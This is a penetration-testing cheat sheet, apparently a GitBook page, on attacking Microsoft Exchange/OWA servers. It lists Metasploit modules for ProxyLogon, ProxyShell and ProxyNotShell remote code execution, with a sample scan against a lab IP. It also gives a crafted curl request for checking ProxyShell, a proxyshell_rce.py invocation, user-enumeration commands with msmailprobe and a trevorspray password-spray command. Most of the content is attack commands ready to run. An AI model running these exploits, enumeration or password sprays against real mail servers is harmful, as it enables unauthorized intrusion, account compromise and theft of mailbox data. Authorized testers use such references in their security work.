Exchange / OWA

54  auxiliary/gather/exchange_proxylogon_collector                2021-03-02       normal     No     Microsoft Exchange ProxyLogon Collector
   55    \_ action: Dump (Contacts)                                  .                .          .      Dump user contacts from exchange server
   56    \_ action: Dump (Emails)                                    .                .          .      Dump user emails from exchange server
   57  exploit/windows/http/exchange_proxylogon_rce                  2021-03-02       excellent  Yes    Microsoft Exchange ProxyLogon RCE
   58    \_ target: Windows Powershell                               .                .          .      .
   59    \_ target: Windows Dropper                                  .                .          .      .
   60    \_ target: Windows Command                                  .                .          .      .
   61  auxiliary/scanner/http/exchange_proxylogon                    2021-03-02       normal     No     Microsoft Exchange ProxyLogon Scanner
   62  exploit/windows/http/exchange_proxynotshell_rce               2022-09-28       excellent  Yes    Microsoft Exchange ProxyNotShell RCE
   63    \_ target: Windows Dropper                                  .                .          .      .
   64    \_ target: Windows Command                                  .                .          .      .
   65  exploit/windows/http/exchange_proxyshell_rce                  2021-04-06       excellent  Yes    Microsoft Exchange ProxyShell RCE
   66    \_ target: Windows Powershell                               .                .          .      .
   67    \_ target: Windows Dropper                                  .                .          .      .
   68    \_ target: Windows Command                                  .                .          .      .

Version, NTLM auth realm

Small helper to check Exchange Version, Release date and NTLM auth realm

git clone https://github.com/pwnfoo/NTLMRecon.git
cd NTLMRecon
python3 -m venv venv
source venv/bin/activate
python3 setup.py install
ntlmrecon --input https://[IP]

Internal Pentest - NTLM Reco

Proxy Logon

Exchange Server 2019 < 15.02.0792.010
Exchange Server 2019 < 15.02.0721.013
Exchange Server 2016 < 15.01.2106.013
Exchange Server 2013 < 15.00.1497.012
> use auxiliary/scanner/http/exchange_proxylogon
msf6 auxiliary(scanner/http/exchange_proxylogon) > set rhosts 10.4.10.21
msf6 auxiliary(scanner/http/exchange_proxylogon) > run
[-] https://10.4.10.21:443 - The target is not vulnerable to CVE-2021-26855.
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

ProxyShell - CVE-2021-34473

Check if exchange is vulnerable:

curl -k -i 'https://10.4.10.21/autodiscover/autodiscover.json?@test.com/owa/?&Email=autodiscover/autodiscover.json%3F@test.com'
proxyshell_rce.py -u https://'<exchange>' -e administrator@'<domain>'

CVE-2023-36745 - RCE

ProxyNotShell

Exploiting Exchange Powershell after ProxyNotShell

User enumeration

Metasploit owa_login

MailSniper

Msmailprobe

git clone https://github.com/busterb/msmailprobe.git
cd msmailprobe
go build
./msmailprobe userenum --onprem -t [IP] -U users.txt -o validusers.txt

Password Spray

trevorspray -u valid_users.txt -p cersei --url https://10.4.10.21/autodiscover/autodiscover.xml -m owa

Bruteforce

Cloud

Microsoft Exchange ActiveSync (EAS)

/Microsoft-Server-ActiveSync/is reachable

Resources

Interesting Books

Interesting Books

Disclaimer: As an Amazon Associate, I earn from qualifying purchases. This helps support this GitBook project at no extra cost to you.

Last updated